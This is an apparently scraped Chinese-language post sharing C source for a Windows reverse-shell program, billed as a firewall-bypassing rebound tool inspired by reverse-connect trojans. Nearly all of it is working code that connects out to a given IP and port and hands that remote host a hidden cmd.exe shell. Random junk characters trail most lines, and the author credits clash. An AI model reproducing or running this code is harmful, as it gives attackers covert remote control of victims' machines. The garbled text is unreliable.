这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ?Q}3X-xy
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/* ============================== T;B/Wm!x
Rebound port in Windows NT :J6FI6
By wind,2006/7 }+
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===============================*/ uulzJbV,K
#include LQa1p
#include )0 i$Bo
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#pragma comment(lib,"wsock32.lib") a(+u"Kr
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void OutputShell(); ~ePtK~,dv
SOCKET sClient; _v=zFpR
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; <+;
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void main(int argc,char **argv) *(Us:*$W.
{ _."X# }W
WSADATA stWsaData; V4x6,*)e
int nRet; *|/kKvN
SOCKADDR_IN stSaiClient,stSaiServer; _zFJ]7Ym.)
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if(argc != 3) 5~SBZYI
{ %967#XI[y
printf("Useage:\n\rRebound DestIP DestPort\n"); 1s#GY<<
return; C<iOa)_@Q
} )mRKIM}*W
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WSAStartup(MAKEWORD(2,2),&stWsaData); Fk&A2C}$b
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4S,/Z{ J.
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stSaiClient.sin_family = AF_INET; <e' l"3+9(
stSaiClient.sin_port = htons(0); vTYgWR,h
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); %Wb$qpa
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) x\6 i (k-
{ ^VlPnx8y=
printf("Bind Socket Failed!\n"); 'd|E>8fejG
return; <=!|U0YV
} ?nx
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stSaiServer.sin_family = AF_INET; PhC{Gg
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 82Nw6om6i
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 08E ,U
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) {c:ef@'U
{ I}7=\S/@
printf("Connect Error!"); wi-{&
return; qt#4i.Iu+
} +jz%:D
OutputShell(); t M{U6k
} H.:
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void OutputShell() 3`\)Qm
{ U-:_4[
char szBuff[1024]; v@E/?\k"
SECURITY_ATTRIBUTES stSecurityAttributes;
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OSVERSIONINFO stOsversionInfo; _<G%
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; I45\xP4i
STARTUPINFO stStartupInfo; ~6:y@4&F
char *szShell; 4\EvJg@Z.
PROCESS_INFORMATION stProcessInformation; 1'g{tP"d
unsigned long lBytesRead; mnWbV\ VY
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); h\$juIQa
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES);
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stSecurityAttributes.lpSecurityDescriptor = 0; Q\<^ih51
stSecurityAttributes.bInheritHandle = TRUE; TANt*r7
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 'P?DZE
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); f Tc,"{
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Ty>g:#bogI
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V{G9E
stStartupInfo.wShowWindow = SW_HIDE; 4 jeUYkJUM
stStartupInfo.hStdInput = hReadPipe; Pxm~2PAm
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; o+Kh2;$)
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GetVersionEx(&stOsversionInfo); iVGc\6+'
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switch(stOsversionInfo.dwPlatformId) -a$7b;gF
{ ec` $2u
case 1: tpi>$:e
szShell = "command.com"; zE NlL
break; (">gLr
default: H/ 6GD,0
szShell = "cmd.exe"; pu*vFwZ
break; ~h*p A8^L
} xiPP&$mg
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); R7 *ek_
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send(sClient,szMsg,77,0); QWBQ0#L
while(1) \aO.LwYm;:
{ a,N?GxK~
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); [#R<Z+c
if(lBytesRead) %L9A6%gr
{ (^Kcyag4
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); zl!`*{T{
send(sClient,szBuff,lBytesRead,0); U'acVcD
} 1$Pn;jg:
else 8oj-5|ct
{ H -,RzL/
lBytesRead=recv(sClient,szBuff,1024,0); k99ANW
if(lBytesRead<=0) break; Uwqm?]
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); e
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} h}U\2$5
} xBC:%kG~#
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return; 5Y&s+|
}